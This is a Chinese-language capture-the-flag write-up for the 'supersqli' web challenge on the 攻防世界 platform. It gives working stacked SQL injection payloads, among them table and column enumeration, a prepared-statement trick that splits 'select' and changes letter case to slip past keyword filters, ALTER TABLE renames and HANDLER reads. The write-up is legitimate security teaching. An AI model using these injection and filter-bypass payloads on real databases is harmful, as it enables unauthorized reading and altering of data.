攻防世界:web区supersqli

这题目能这么难我也是没想到
参考总结大佬的博客:https://www.cnblogs.com/joker-vip/p/12483823.html
建议读者去大佬博客看,这里只有我自己看得懂

存在坑点:

  • sqlmap无法使用
  • 对一系列命令存在过滤:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

方法一:堆叠注入

查表:

  • -1';show tables --+

查字段:

  • -1';show columns from `1919810931114514` --+
  • -1';show columns from `words` --+

查值,需要绕过select的限制,使用预编译

  • -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:

  • -1';
  • set @sql = CONCAT('se','lect * from 1919810931114514;');
  • prepare stmt from @sql;
  • EXECUTE stmt; #

报错,存在过滤:strstr(\$ inject, "set") && strstr($inject, "prepare")
strstr函数区分大小写,所以更改大写即可:

  • -1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

方法二:改名为易查询对象rename

会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';

我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:

  • 修改表名(将表名user改为users)alter table user rename to users;
  • 修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

最终payload如下1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下:

  • 1';
  • alter table words rename to words1;
  • alter table `1919810931114514` rename to words;
  • alter table words change flag id varchar(50);

然后使用1' or 1=1#即可查询出flag

方法三:查找

使用handler查询,payload如下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

posted @ 2021-08-25 17:15  Zeker62  阅读(63)  评论(0编辑  收藏  举报